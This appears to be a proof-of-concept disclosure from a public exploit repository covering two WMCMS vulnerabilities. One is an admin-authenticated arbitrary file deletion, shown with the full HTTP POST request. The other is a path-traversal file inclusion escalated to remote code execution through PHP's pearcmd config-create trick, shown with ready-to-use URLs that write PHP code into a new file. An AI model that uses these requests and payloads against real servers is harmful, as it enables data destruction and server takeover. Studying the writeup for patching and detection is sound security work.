WMCMS arbitrary file deletion&RCE

### How to implement arbitrary file deletion?
（1）In the admin/action/novel/novel.txt.php file of WMCMS, the following code snippet is used, in this code, first use the judgment that $type is equal to "del", then use the POST() function to receive a parameter value named path, and execute the delete file function DelFile()

![输入图片说明](https://foruda.gitee.com/images/1704768233640309180/00fb2c43_10725996.png "图片2.png")

（2）However, following up on DelFile(), it was found that DelFile() did not have any security filtering measures.
![输入图片说明](https://foruda.gitee.com/images/1704768471737366653/c55d866d_10725996.png "图片3.png")

（3）At the same time, the $type and path mentioned in (1) are variables that the user can control, that is, the user can delete any file on the server by constructing a specific path value, because this interface is an interface with admin permission, so the premise of this vulnerability is that you have an account with admin permission and log in.

### Steps to reproduce
（1）First, log in to the background with the admin account to obtain the corresponding cookies
![输入图片说明](https://foruda.gitee.com/images/1704768983889948198/febd87cb_10725996.png "图片4.png")

（2）I created a new test .txt file on the server for deletion testing
![输入图片说明](https://foruda.gitee.com/images/1704769173262374987/046ea016_10725996.png "图片5.png")

（3）The following is a usage message
POST /admin/index.php?a=yes&c=novel.txt&t=del HTTP/1.1
Host: 192.168.24.146:8002
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: pt=web; PHPSESSID=29eob12jm3gu36lbqj1rlbpk41; bjui_theme=blue
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 14

path=/test.txt

![输入图片说明](https://foruda.gitee.com/images/1704769274613046380/3216e5e5_10725996.png "图片6.png")

（4）The test.txt file was deleted and the exploit was successful
![输入图片说明](https://foruda.gitee.com/images/1704769332213803480/03009eb2_10725996.png "图片7.png")

### How to implement RCE?
Then Admin/Axin/Actin. Phip, find the following code

```
if ( file_exists('action/'.$cPath.'.php') )
{
	//是否运行主处理器
	$runMainAction = true;
	//前置文件是否存在。
	if( file_exists('plugin/'.$cPath.'.action.php') )
	{
		require 'plugin/'.$cPath.'.action.php';
	}
	if( $runMainAction == true )
	{
		require 'action/'.$cPath.'.php';
	}
```
After analysis, it was found that $cPath was controllable and without any filtering, and action.php was introduced in admin/index.php

```
if ( C('admin_cid') != 0 )
{
	Competence($a , $c , $type);
}

//加载分页参数处理
require 'page.php';
//开启缓冲区
ob_start();
//处理器加载
if ( $a === true )
{
	require 'action/action.php';
}
```
So far, a file that can only contain the php suffix contains vulnerabilities

Test POC

```
/admin/index.php?c=/../../../../../../../../../../../../../test&a=yes //I put a test.php in the root directory with phpinfo()
```

The file is included to the RCE：Make use of PEARCMD
Introduction to PEARCMD：pecl is a command-line tool used in PHP to manage extensions, while pear is a library that pecl depends on

So we can change the POC

```
/admin/index.php?+config-create+/&c=../../../../../../../../../../../../usr/local/phpstudy/soft/php/php-5.6.40/lib/php/pearcmd&/<?=phpinfo()?>+/hello.php&a=yes

/admin/index.php?c=/../../../../../../../../../../../../../hello&a=yes
```
Implement RCE

shadow7/PocPublic

内容风险标识

评论 (0)

shadow7/PocPublic .gitee-modal { width: 500px !important; }

内容风险标识